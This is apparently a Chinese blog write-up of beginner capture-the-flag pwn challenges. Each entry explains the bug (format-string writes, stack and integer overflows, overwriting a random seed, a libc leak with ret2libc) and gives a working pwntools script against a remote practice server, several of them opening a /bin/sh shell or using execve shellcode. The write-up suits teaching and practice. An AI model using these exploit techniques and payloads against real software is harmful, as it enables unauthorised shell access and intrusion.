get_shell
直接就有shell了,然后拿flag
CGfsb
格式化字符串漏洞
注意两个点:
%{数字}$n是把栈上面的第{数字}个参数改成这句话之前这个字符串打印的字符总数 (新学的)
%p 打印地址方便看
%{数字}c 是相当于打印{数字}个字符 (这个很显然)
from pwn import *
from pwnlib import *
address = '111.198.29.45'
port = 48548
io = remote(address,port)
gad = 0x0804A068
payload = 'a'.encode('utf-8') * 4 + p32(gad) + '%11$n'.encode('utf-8')
io.sendline('init_')
io.sendline(payload)
print(io.recvall())
when_did_you_born
需要让生日为1926,但是在第一步判断掉了生日不能为1926
但是我们发现了可以输入一个名字,这个名字可以超长然后溢出
所以我们溢出到下一个变量然后把其改成1926就完事了
from pwn import *
address = '111.198.29.45'
port = 48453
io = remote(address,port)
payload = 'a'.encode('utf-8') * 8 + p32(0x786)
io.sendline('1234')
io.sendline(payload)
print(io.recvall().decode('utf-8'))
hello_pwn
和上一题差不多,裸的栈溢出
from pwn import *
address = '111.198.29.45'
port = 43862
io = remote(address,port)
payload = 'a'.encode('utf-8') * 4 + p32(0x6E756161)
io.sendline(payload)
print(io.recvall())
level0
我们发现了有一个字符串在main里面那个函数似乎读入的比较长(0x200)
同时我们也从IDA左侧的函数列表里面发现了一个函数叫callsystem
那么我们只要理解一下linux栈的格式就可以直接覆盖掉返回了
格式:字符串(可能有别的东西)+EBP+返回地址+{如果返回地址是个函数:EBP+参数1+参数2+...}
from pwn import *
from pwnlib import *
address = '111.198.29.45'
port = 37696
shellcode = b"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
io = remote(address,port)
print(len(shellcode))
io.recvuntil('Hello, World')
payload = 'a'.encode('utf-8') * 0x88 + p64(0x00400596)
io.sendline(payload)
io.interactive()
level2
比较容易发现有一个system函数,我们可以观察到这个东西的地址
同时我们还可以发现一个字符串 /bin/sh
拼起来就行
from pwn import *
address = '111.198.29.45'
port = 33883
io = remote(address,port)
sysaddr = 0x08048320
shaddr = 0x0804A024
payload = 'a'.encode('utf-8') * 0x88 + p32(0) + p32(sysaddr) + p32(0) + p32(shaddr)
io.sendline(payload)
io.interactive()
string
有趣的一道题
观察后发现在sub_400BB9里面有格式化字符串漏洞
然后发现sub_400CA6里面如果*a1==a1[1]就能够写入shellcode
然后你也可以发现一开头两个secret是a1[0]和a1[1]的地址
那么我们在sub_400BB9里面用格式化字符串漏洞修改a1[0]的值,然后正常操作就可以写入shellcode然后拿到shell了
from pwn import *
address = '111.198.29.45'
port = 42964
io = remote(address,port)
context(arch='amd64',os='linux',log_level='debug')
io.recvuntil('secret[0] is ')
v4 = int(io.recvuntil('\n'),16)
io.recvuntil('secret[1] is ')
v5 = int(io.recvuntil('\n'),16)
io.sendlineafter('What should your character\'s name be:','Initialize')
io.sendlineafter('So, where you will go?east or up?:','east')
io.sendlineafter('go into there(1), or leave(0)?:','1')
io.sendlineafter('\'Give me an address\'',str(int(v4)))
# io.sendlineafter('And, you wish is:','aaaa'+'-%p'*10)
io.sendlineafter('And, you wish is:','%85c%7$n')
shellcode = asm(shellcraft.sh())
io.sendlineafter('USE YOU SPELL',shellcode)
io.interactive()
guess_num
利用较长的字符串覆盖掉随机种子,然后就可以在本地跑一遍随机数从而得到答案
from pwn import *
address = '111.198.29.45'
port = 45423
context(arch='amd64',os='linux',log_level='debug')
io = remote(address,port)
io.sendlineafter('Your name:','a'.encode('utf-8') * 32 + p64(ord('0')))
guessnum = [4,2,5,5,3,5,5,6,1,6]
for num in guessnum:
io.sendlineafter('Please input your guess number:',str(num))
print(io.recvall())
#include<cstdio>
#include<cstdlib>
#include<algorithm>
using namespace std;
int main(){
srand('0');
for(register int i=0;i<=9;i++){
printf("%d,",rand()%6+1);
}
return 0;
}
int_overflow
ull整型溢出,注意那个变量开小了
所以我们不止可以写入3~8个字符,还可以写入(3+256) ~ (8+256)个字符
那么剩下的就是常规的栈溢出了
ida使用时注意左侧有个打印flag的函数,找到这个地址打印
from pwn import *
address = '111.198.29.45'
port = 31444
flagaddr = 0x0804868B
io = remote(address,port)
context(arch='i386',os='linux',log_level='debug')
io.sendlineafter('Your choice:','1')
io.sendlineafter('Please input your username:','admin')
io.sendlineafter('Please input your passwd:','a'.encode('utf-8') * 0x14 + '0'.encode('utf-8') * 4 + p32(flagaddr) + 'a'.encode('utf-8') * 231)
print(io.recvall())
cgpwn2
这题麻烦之处在于本身只有system函数但是没有'/bin/sh',这个字符串我们需要手动构造
那么我们在name的地方就可以手动构造了
其他的就是正常的栈溢出
from pwn import *
address = '111.198.29.45'
port = 34692
io = remote(address,port)
context(arch = 'i386',os = 'linux',log_level = 'debug')
sys_addr = 0x08048420
shell = '/bin/sh'
name_addr = 0x0804A080
io.sendlineafter('please tell me your name',shell)
io.sendlineafter('hello,you can leave some message here:','a'.encode('utf-8') * 0x26 + 'a'.encode('utf-8') * 4 + p32(sys_addr) + 'a'.encode('utf-8') * 4 + p32(name_addr))
io.interactive()
level3
相当复杂的一个题
libc泄露,利用两次write写入栈溢出字符串,第一次返回main然后write出write的真实地址,从而算出libc_base(libc挂载基址),然后第二次返回的时候用算出的system函数地址和/bin/sh地址得到shell
具体操作看脚本
from pwn import *
address = '111.198.29.45'
port = 53040
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote(address,port)
# io = process('./level3')
elf = ELF('./level3')
libc = ELF('./libc_32.so.6')
print(elf.plt)
write_plt = elf.plt[b'write']
write_got = elf.got[b'write']
main_addr = elf.symbols[b'main']
payload = 'a'.encode('utf-8') * 0x88 + p32(0xdeadc0de) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
io.sendlineafter('Input:\n',payload)
write_got = u32(io.recv())
libc_base = write_got - libc.symbols[b'write']
system_addr = libc_base + libc.symbols[b'system']
sh_addr = libc_base + 0x15902b
payload = 'a'.encode('utf-8') * 0x88 + p32(0xdeadc0de) + p32(system_addr) + p32(0xdeadc0de) + p32(sh_addr)
io.sendlineafter('Input:',payload)
io.interactive()
Comments NOTHING